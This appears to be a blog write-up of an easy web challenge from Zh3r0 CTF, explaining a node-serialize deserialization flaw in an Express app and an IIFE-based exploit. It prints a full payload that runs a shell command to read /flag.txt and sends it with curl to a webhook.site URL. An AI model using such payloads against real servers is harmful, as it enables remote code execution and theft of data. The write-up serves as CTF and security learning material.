Sparta - 100 (EASY)

After participating in Zh3r0 CTF last year(2020), I thought the CTF had some really cool challenges and so thought of looking at few of the challenges this year too.

So, lets just jump straight  into the technical write-up.

In this blog, I would be describing my methodology for sparta - 100, which was an easy challenge in web category.

The challenge provided with source code along with a Dockerfile for hosting the web application locally. Looking at the source file, it was clear that express/node js was used at the back-end.

Looking at the server code, one could see that there is a check to see if "guest" token is passed in cookie. If so, the value of guest token is passed to unserialize() of node-serialize module. That's it! we are talking about a node de-serialization vulnerability here.

If the guest token is not part of the cookie, the application would take username, country and city values from the request body and will create a base64 encoded json object. This is our injection point. 

As the value of "username" parameter is passed through escape function, I thought  of inserting the payload in "city" parameter. One problem with that is code execution won't happen until the function corresponding to "city" property of the object is triggered. A way around this is by using IIFE (Immediately Invoked Function Expression) .

For my testing hypothesis, I wrote a small script which will emulate this vulnerability. I tried using the same version of node-serialize module as the one used by the challenge author (But failed doing so!!).


 Great! this works. So I went ahead and copied the payload into Burp Repeater. From the Dockerfile, I could see that "flag.txt" is stored in the root directory.

Copied the value of guest parameter and added to it to the request. But strangely, I got an error: SyntaxError: Unexpected token ' in JSON. Google to the rescue. Changed \' to \" and this time there's no error.  

 

Final Payload:

username=test&
country=bleh&
city=_$$ND_FUNC$$_function()
{require(\"child_process\")
%2eexec(\"output=$(cat%20/flag.txt);
curl%20webhook.site/9d7268ea-42bd-
48b3-9ede-0be524e773e1?out=$output\",
function(error,%20stdout,%20stderr)
%20{%20console.log(stdout)});}()
&submit=Add+your+


 

Seems like different versions of node-serialize module, parses the serialized objects differently which caused this behavior. 

On the webhook.site, we can see that flag value inside the logs. 

 

Thanks for the read!!




Comments

Post a Comment

Popular posts from this blog

An Overview of SRUM Forensics

Image
Often there comes a scenario where a malware has run on the host system and there is suspicion of data exfiltration. One forensic technique that comes in handy in such situations is SRUM forensics. Introduction to System Resource Usage Monitor SRUM was first introduced in Windows 8 operating system for keeping a track of system resource usage. In particular, information such as process owner, CPU cycles used by the process, data bytes read/written, network data sent/received, Windows push notifications and energy usage is continuously recorded. SRUM is part of diagnostic policy service and it monitors desktop applications, programs, services, windows applications and network connections. The data that is visualized when one open’s the task manager is part of SRUM data feed. The SRUM data collection happens once in every hour and at shut down. SRUM uses the below extensions for monitoring and data collection. Source: Windows 8 SRUM Forensics - SANS DFIR Summit 2015(Slides) b...
Read more

Persistant Ways of PlugX RAT

Image
    PlugX a Remote Access Trojan (RAT) was first identified in 2012. PlugX is known to be used against high profile government institutions and other organizations and has evolved since then. PlugX has also been seen as Korplug, SOGU and DestroyRAT. The primary functionality of this malware is to:      Provide persistence access for adversaries.    Perform surveillance of the infected machines.      Reach out to a command and control server.      Hijack legitimate executable and inject malicious code. Since the identification of PlugX in 2012, it has mutated in complexity and exploitation techniques. PlugX is commonly seen to be used in advanced targeted attacks, with capabilities to impersonate authentic processes and perform extensive recon on infected machines. The malware sample analyzed in this blog, has been downloaded from the internet. Basic Static Analysis The malware sample analyzed in th...
Read more